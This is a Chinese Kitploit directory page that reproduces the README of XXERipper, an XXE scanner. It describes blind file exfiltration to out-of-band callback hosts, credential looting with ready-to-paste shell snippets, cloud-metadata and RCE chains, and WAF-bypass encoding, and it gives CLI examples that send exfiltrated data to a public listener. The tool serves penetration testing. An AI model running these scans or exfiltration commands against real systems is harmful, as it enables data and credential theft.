Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
XXERipper — 黑盒XXE扫描器,通过统计基线、解析器指纹识别和OOB确认检测带内、基于错误和盲注带外注入,并支持SARIF输出。 | Kitploit
工具/GitHubGitHub/kamalx06/xxeripper
侦察漏洞扫描器Web漏洞扫描器漏洞利用脚本与自动化API安全测试数据泄露信息收集WAF绕过Web安全渗透测试红队
1315123天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubkamalx06/xxeripper

XXERipper

黑盒XXE扫描器,通过统计基线、解析器指纹识别和OOB确认检测带内、基于错误和盲注带外注入,并支持SARIF输出。

查看仓库

XXERipper

一款面向安全专业人员的独立黑盒 XML 外部实体(XXE)扫描器。

XXERipper 可检测带内、基于错误和盲注带外 XXE,覆盖 30 多种攻击技术族。它结合了统计基线、差分解析器指纹识别、通过 interactsh-client 进行的带外确认(手动或自动)、基于浏览器的控制台、WAF 绕过编码、端到端利用链检测、凭据提取及可直接粘贴的 shell 片段、CWE 映射的发现结果,以及用于 CI/CD 和报告的 JSON / SARIF / HTML 输出。

License: GPL v3 Python 3.9+ Version PRs Welcome


目录

  • 概述
  • 核心特性
  • 安装
  • 快速开始
  • 使用方法
  • 命令行参考
  • Web 控制台
  • 架构与设计
  • 指纹识别方法
  • 检测方法
  • 准确性引擎
  • 攻击技术
  • 利用链与战利品提取
  • 带外确认
  • WAF 绕过编码
  • 自定义载荷
  • 输出格式
  • 可靠性与覆盖范围
  • CI/CD 集成
  • 针对内置实验环境的测试
  • 构建、许可证与致谢

概述

XXERipper 是一款自包含的 CLI 和浏览器控制台扫描器,用于检测 XML 外部实体注入,专为渗透测试人员、漏洞赏金猎人和安全研究人员设计,他们需要对这一漏洞类别进行准确、低误报的检测——这类漏洞容易测试得很糟糕,却难以测试得很好。

它刻意保持极简——仅依赖 httpx 以及(用于控制台的)flask,别无其他——并且可端到端审计。每个阶段都可追踪,每个发现结果都带有证据链,每个被跳过的技术都会附带原因报告,每个提取的文件或凭据都会去重存储,并附带可直接粘贴的利用片段。

XXERipper 不会在实体解析原语本身之外对目标进行利用。它判断解析器是否解析外部实体,结果是否可在带内、通过解析器错误或带外观察到,并以置信度评分、CWE 映射以及——当完整链条完成时——一个指明端到端影响的汇总发现结果来报告该判断。


核心特性

  • 30 多种攻击技术族,涵盖带内、基于错误、盲注、编码绕过、替代接收点、扩展获取器、云元数据、RCE 包装器、Office 文档和 YAML 反序列化等类别。
  • 端到端利用链检测。 ChainTracker 观察每个发现结果,从 ID + 证据推导链条阶段,并在模板完成时触发汇总发现结果——XXE → IMDS → IAM 凭据 → AWS 账户接管、XXE → SSH 私钥 → 横向移动、XXE → Kubernetes 密钥 → 集群凭据窃取,以及另外十种。
  • 战利品存储,支持七种凭据提取。 每个文件读取发现结果都经过一个通用提取器,从响应中提取原始文件内容,去重存储,并扫描其中的 AWS IAM 数据块、AWS CLI 凭据、阿里云 RAM 凭据、SSH 私钥、GCP 服务账号、OAuth 访问令牌(GCP 元数据和 Azure 托管标识)、Kubernetes 服务账号令牌以及通用 bearer 令牌。每个凭据都附带可直接粘贴的 shell 片段——aws sts get-caller-identity、aliyun sts GetCallerIdentity、ssh -i …、gcloud auth activate-service-account、kubectl --token=… 和 curl -H 'Authorization: Bearer …'——在适用的情况下使用令牌的真实声明构建。
  • 差分解析器指纹识别,覆盖 11 种 XML 技术栈(libxml2、Xerces、.NET、Java SAX/StAX、Python 标准库、PHP DOM、Ruby、Node.js、Perl、Go),配有配对的测试/对照探针和磁盘上的按 URL 缓存。
  • 统计基线——中位数、IQR、p95、众数状态和窗口化香农熵——带有分级否决机制,可在不压制真实发现结果的情况下拒绝噪声。
  • 通过 interactsh-client 进行带外确认。 两种模式:手动(扫描器打印每个子域名,你观察客户端)和自动(--oob-auto 启动 interactsh-client 并在进程内关联回调)。两者都为每个载荷嵌入唯一的 16 位十六进制令牌,因此回调绝不会被错误归属。
  • 盲注文件外泄——扫描器提供导致目标将文件内容发送到回调的 DTD,提取外泄的载荷,并将其路由到与带内读取相同的战利品管道。三种 DTD 托管选项:内置 HTTP 服务器(--oob-listen)、由你自己的 Web 服务器提供的目录(--oob-dtd-dir),或 WebUI 自身的 Flask 路由(在抽屉中勾选 Serve DTDs from this WebUI)。
  • 云元数据链检测作为一等阶段:AWS IMDSv1/v2(包括 IMDSv2 检测)、GCP、Azure、阿里云、Oracle 以及 Kubernetes 服务账号 API。包含凭据标记的响应会被提升为 CRITICAL,且不再进一步探测。
  • XXE 到 RCE 协议包装器:jar://、data://、phar://、glob://、compress.zlib://。
  • Office 文档 XSLT 调用(XXE-OFFICE-XSLT-{DOCX,XLSX})——Word 或 Excel 部件内的 xml-stylesheet PI 会导致服务器端文档处理器获取攻击者控制的 XSLT。
  • 不安全的 YAML 反序列化——CWE-502,通过 PyYAML 和 SnakeYAML 载荷与 XML 一起经由相同端点探测。
  • JSON 到 XML 内容类型切换——捕获类路径上带有 jackson-dataformat-xml 的 Spring MVC,它会在任何 @RequestBody 端点上静默接受 application/xml。
  • SAML 签名前 XXE——在签名验证之前解析断言主体,即 CVE-2026-28809(esaml)所暴露的序列。
  • WAF 绕过阶段(--bypass-waf)——通过三个族中的十五种编码器重新发送整个载荷目录。在核心阶段之后运行,因此直接命中可在约 20 个请求内被发现,而不是被埋在大约 1,500 个编码请求之后。
  • HTTP/2 协商——会话构建器通过 ALPN 使用 HTTP/2,并静默回退到 HTTP/1.1。
  • 多指标指纹识别——没有单一字符串匹配会触发发现结果。
  • 按阶段异常隔离——某个技术族中的崩溃不会丢失已完成阶段的发现结果。
  • Web 控制台(--serve)——基于浏览器的工作台,具有实时事件流、命令面板、键盘驱动导航、按任务的 JSON / SARIF / HTML 下载,以及一个单独的 View HTML 按钮,可内联打开报告而非下载。零依赖前端:一个自包含的 HTML 文件,无 CDN。
  • CWE 映射的发现结果以 JSON、SARIF v2.1.0 和自包含的可打印 HTML 报告形式输出。
  • 覆盖范围报告——每个未运行的阶段都会附带原因列出,因此“干净”绝不会与“不完整”混淆。
  • 预认证重放——--pre-auth-request FILE 重放 Burp 格式的请求,并在扫描开始前合并其 Set-Cookie,因此多步认证流程无需 cookies 文件即可工作。
  • 速率限制、带退避的重试以及墙钟时间预算,以防止意外 DoS。

安装

PyPI(推荐)```bash

pip install xxeripper pip install "xxeripper[socks]" # plus SOCKS proxy support

基础安装会引入 `httpx[http2]`(通过 ALPN 启用 HTTP/2 协商)和 `Flask`(供 `--serve` Web 控制台使用)。SOCKS 代理支持是唯一的可选附加项。HTTP/2 是必需功能,而非可选功能——它作为 `httpx[http2]` 存在于主依赖列表中。`xxeripper[http2]` 附加项纯粹是为了照顾用户习惯而提供;安装它等同于安装基础包。

### 发行版软件包```bash
sudo pacman -U xxeripper-1.0.0-1-any.pkg.tar.zst    # Arch
sudo dpkg -i xxeripper_1.0.0-1_all.deb              # Debian / Ubuntu
sudo dnf install xxeripper-1.0.0-1.fc44.noarch.rpm  # Fedora / RHEL

从源码```bash

git clone https://github.com/kamalx06/XXERipper.git cd XXERipper && pip install -e ".[socks]"

### 环境要求

- **Python 3.9 至 3.14。**
- **`httpx[http2]` ≥ 0.27, < 0.29** — HTTP 客户端。HTTP/2 支持
  通过 `httpx` 的 `[http2]` extra 引入,该 extra 会一并带来
  `h2` 依赖。扫描器在 TLS 握手时通过 ALPN 协商 HTTP/2,
  并在服务器不支持时静默回退到 HTTP/1.1。
- **`Flask` ≥ 3.0, < 4.0** — 由 `--serve` Web 控制台使用。它是
  主依赖,而非可选依赖;控制台是一等接口,
  `xxeripper --serve` 在
  [快速开始](#quick-start) 和 [Web 控制台](#web-console) 中有文档说明。
- **可选:** `PySocks` ≥ 1.7.1 用于 SOCKS 代理
  (`xxeripper[socks]`)。
- **可选:** `PATH` 中的 `interactsh-client` 用于自动 OOB
  确认 (`--oob-auto`)。手动 OOB 模式 (`--oob-domain`) 没有
  外部依赖 — 你需要在单独的终端中自行运行 `interactsh-client`。

该 wheel 只包含一个文件,`xxeripper.py`。没有包
目录,没有编译扩展,安装时也没有构建步骤。
CLI 入口点声明为 `xxeripper = "xxeripper:main"`,因此
`pip install xxeripper` 会将 `xxeripper` 可执行文件放入你的 `PATH`。

### 可选 extras

| Extra | 引入 | 何时安装 |
|---|---|---|
| `xxeripper[socks]` | `PySocks` ≥ 1.7.1 | 你通过 SOCKS5 代理进行扫描时,包括通过 `socks5h://` 使用 Tor |
| `xxeripper[http2]` | *(无新增内容)* | 从不需要 — 基础安装已包含 `httpx[http2]`。仅为用户习惯提供 |

没有 `[webui]` extra — Flask 是主依赖,且
控制台在任何基础安装上开箱即用。

---

## 快速开始```bash
# 1. Basic scan (in-band and error-based, no OOB)
xxeripper https://target.com/api/xml

# 2. Terminal A: start interactsh-client and note the session domain
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro

# 3. Terminal B: scan with OOB payloads under that domain
xxeripper https://target.com/api/xml \
    --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro

# 4. Match the [OOB] lines from the scanner against callbacks in Terminal A

# 5. Or skip the two-terminal dance: let the scanner spawn and drive
#    interactsh-client itself
xxeripper https://target.com/api/xml --oob-auto

# 6. Blind file exfiltration with the built-in DTD server
xxeripper https://target.com/api/xml \
    --oob-auto --oob-listen 0.0.0.0:8888 \
    --oob-public-url http://your-public-ip:8888

# 7. Launch the browser-based console instead of a CLI scan
xxeripper --serve
# [*] XXE-Ripper web console
# [*]   URL:  http://127.0.0.1:8080

# 8. Write a self-contained HTML report
xxeripper https://target.com/api/xml --report-html report.html

# 9. CI usage: write SARIF and fail the build on HIGH+ findings
xxeripper https://target.com/api/xml \
    -o results.sarif --format sarif --fail-on high

扫描器负责基线捕获、解析器指纹识别、载荷生成、执行、评分、链式汇总、凭据提取和报告。盲确认可以以双终端工作流(手动模式,默认)或全自动子进程驱动工作流(--oob-auto)的形式提供。


用法```bash

Authenticated scan

xxeripper https://target.com/api/xml --cookie "SESSION=...; csrf=abc" xxeripper https://target.com/api/xml --cookie-file cookies.txt

Multi-step auth: replay a login first, then scan with the resulting session

xxeripper https://target.com/api/xml
--pre-auth-request login.burp --pre-auth-request csrf.burp

Burp request ingestion

xxeripper -r request.txt --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro

Automatic OOB (spawns interactsh-client, correlates callbacks in-process)

xxeripper -r request.txt --oob-auto

Blind exfiltration with the built-in DTD server

xxeripper https://target.com/api/xml
--oob-auto
--oob-listen 0.0.0.0:8888
--oob-public-url http://198.51.100.7:8888

下载工具